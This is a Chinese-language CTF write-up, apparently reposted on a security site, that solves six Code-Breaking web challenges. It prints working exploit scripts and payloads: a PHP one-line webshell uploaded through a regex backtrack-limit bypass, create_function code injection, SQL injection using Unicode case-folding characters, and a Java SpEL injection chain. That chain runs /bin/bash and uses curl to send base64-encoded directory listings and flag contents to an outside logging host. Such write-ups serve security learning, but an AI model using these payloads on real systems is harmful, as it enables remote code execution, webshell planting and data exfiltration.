code breaking easy

admin 2024年8月18日00:55:10评论12 views字数 7338阅读24分27秒阅读模式

前言

这个是知识星球里面的一个比赛,一开始的时候事情多,没及时做,最近刷ph牛的文章看到这个比赛,找来复现一下

function

题目

function这题是一个php代码审计题,题目很短

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

可以看到,题目想要我们输入两个参数绕过正则,然后就可以执行任意命令了

题解

寻找可利用字符

我们先审计源码,可以看到如果传过来actionarg那就分别赋值,然后对action进行正则表达式过滤
先看正则表达式

1
2
3
4
/^[a-z0-9_]*$/isD
/i 忽略大小写
/s 匹配任何不可见字符
/D 如果正则表达式用$限制结尾字符,则不允许结尾有换行

所以我们现在就要找一个开头不是字母数字和下划线的值,同时还要可以正常地执行函数
因此我们先fuzz一下

1
2
3
4
5
6
7
8
9
10
11
import requests
for i in range(0,256):
s= hex(i)[2:]
if len(s)<2:
s = '%0'+s
else:
s = '%'+s
url = 'http://xiaorouji.cn:8087/?action='+s+'var_dump&arg=find'
r = requests.get(url=url).content
if 'find' in r:
print s

跑出来%5c可以成功绕过,原因p神在小密圈说了

1
2
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
寻找getshell函数

接下来的利用我们就要用到create_function函数了
在官方手册中它是这样的

1
create_function ( string $args , string $code ) : string

这个函数由两个参数组成,第一个是函数名,第二个是函数内的代码。官方例子如下

1
2
3
4
5
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
实际上也就是
function test($a,$b){
return "ln($a) + ln($b) = ".log($a*$b);
}

也可以简单理解成

1
2
3
create_function($_GET['args'],$_GET['code']);
$a = 'function __lambda_func('.$_GET['args'].'){'.$_GET['code'].'}\0';
eval($a);

顺便看一下create_function的源码也可以看到第一个参数是用(闭合的,第二个是用{闭合的
code breaking easy

getflag

剩下的就是闭合以及利用了,尝试一下能不能得到phpinfo
code breaking easy
接下来就是getshell了,尝试下利用system函数
code breaking easy
发现被禁了,那就试下scandir函数
code breaking easy
成功getflag(这个flag是在上一层的目录上
code breaking easy

parewaf

这个题目依旧很短,考的是php的正则特性

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}

可以看到,这是一个上传文件的代码
首先拿到了文件会先判断是不是里面有没有php代码,如果有就返回bad request,否则就新建一个路径为data/md5($_SERVER['REMOTE_ADDR']),然后将文件命名为randon_int(0,10).php存储在新建的文件夹里面,最后将存储路径在http头里面返回过来

题解

分析正则

首先我们先看一下他的正则表达式

1
/<\?.*[(`;?>].*/is

的匹配过程
code breaking easy
可以看到它先是从前面匹配了<?,接下来的.*将所有都匹配了,然后还需要匹配就要回溯回去前面,因此一直回溯到前面的>完成符号匹配,然后从该点开始向后进行匹配,完成最后的.*匹配
而同时,php为了防止正则表达式的拒绝服务攻击,设置了一个回溯次数的上限
code breaking easy
而如果回溯次数超过1000000的时候,它的返回就变成了false了
code breaking easy

payload

既然已经知道要怎么绕过漏洞点了,接下来就是写payload了

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

file = {
'file': BytesIO('<?php eval($_POST["cmd"]);//' + 'a'*1000010)
}

res = requests.post('http://xiaorouji.cn:8088/',files=file,allow_redirects=False)
print res.headers['Location']

拿到了shell文件目录以后就是利用了
code breaking easy
code breaking easy
getflag√

phpmagic

这个题目让人感觉略为懵逼,但是找到源码就做起来舒服了

题目

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;

题解

审计源码可以看到,文件名和文件内容我们都是可以知道的,但是文件内容会经过htmlspecialchars,所以想直接传个小马是8可能的,但是php有一个特性,只要能进行文件传输的地方,基本是都是能进行协议流的传输的,我们先本地尝试一波
code breaking easy
果然可以写文件,那么现在问题来了,文件名前面会加上$_SERVER['SERVER_NAME'],同时后缀几乎全部过滤了,还有就是文件内容也不是完全可控的
首先文件名前面加上的$_SERVER['SERVER_NAME'],我们可以通过修改Host的值达到控制的目的
接下来,我们想要绕过后缀要用到一个黑魔法,所以我们只要在文件名后面加个\.就可以绕过限制了
最后是文件内容不可控,但是我们可以看到,我们传过去的是base64编码的,在php伪协议解码的时候,遇到不规范的字符是会自动跳过解码的,因此我们只需要填充前面的规范字符使前面的字符是4的倍数,就能成功的让我们想写的shell文件成功解码了
先找一下前面的字符
code breaking easy
可以看到规范字符ltltgtgtDiG9959deb8u15DebianltltgtgttAq刚好40位,4的倍数,所以直接加文件内容就行啦
接下来就是利用了
code breaking easy
这样就能写进webshell了
code breaking easy

phplimit

这道题目很短,满足了正则就能执行任意命令了

题目

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

题解

从正则表达式可以看到它会匹配字母和括号,接下来找一找能绕过的方法
code breaking easy
可以看到只要最内层的函数没有参数的话,正则就能绕过,这里我们利用session去达到执行命令的目的
session_id,用来设置或者获取当前会话的id,对应PHPSESSID的值
session_start,用来创建新的会话或者重用现有会话
因此我们可以利用session_id(session_start()),但是PHPSESSID只允许字母数字和下划线,所以要将字符换下编码
code breaking easy
最后就是利用了
code breaking easy
code breaking easy
还有一个其他师傅的payload

1
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

巨强

nodechr

一进去就是一大堆代码……

题目

首先审计源码可以看到题目将flag放进去数据库,然后让用户登录进去,先贴一波关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

可以看到他将unionselect那些过滤了,所以想直接读flag有点难,但是我们可以看到有个toUpperCase函数,看下ph牛的这篇文章,因此我们可以利用这些字符写payload
code breaking easy
最终payload

1
2
3
4
5
6
7
8
9
#coding:utf-8
import requests,base64
url = "http://xiaorouji.cn:8085/login"
data = {
"username": "admin",
"password": "0' unıon ſelect 1,flag,3 from flags where '1'='1"
}
res = requests.post(url,data=data).content
print res

code breaking easy

Javacon

这题我们首先可以拿到一个jar包,然后用idea反编译出来可以看到一堆的java代码,肉鸡枯了…….
先看一下目录结构,有5个类和一个配置文件
code breaking easy
配置文件里面放了用户信息,因此我们用admin/admin是可以登录进网站的
code breaking easy
接下来就去看MainController文件,这里只放重点函数
code breaking easy
可以看到登录的时候,如果选了remember-me,就会将用户加密存储在cookie里面
code breaking easy
接着admin会对跳转之后的cookie做处理,判断remember-me的值是否存在,如果存在就解密
code breaking easy
验证过程上图,可以看见是先找黑名单,如果匹配出来返回FORBIDDEN,否则就继续下面的语句,在SmallEvaluationContext中进行SPEL解析,又因为有黑名单java.+lang,Runtime,exec.*\(,所以最后的利用字符串拼接和反射构造pop链
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.company;
import javax.crypto.spec.IvParameterSpec;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.slf4j.LoggerFactory;

class Encryptor{
static org.slf4j.Logger logger = LoggerFactory.getLogger(Encryptor.class);
public static String encrypt(String key, String initVector, String value){
try{
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"),"AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
}catch (Exception e){
logger.warn(e.getMessage());
}
return null;
}
}
public class Main {
public static void main(String[] args) {
//查看目录
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}"));
//读flag文件
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cat flag_j4v4_chun|base64`'})}"));

}
}

读目录
code breaking easy
code breaking easy
code breaking easy
读flag
code breaking easy
code breaking easy

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:55:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   code breaking easyhttp://cn-sec.com/archives/3074850.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息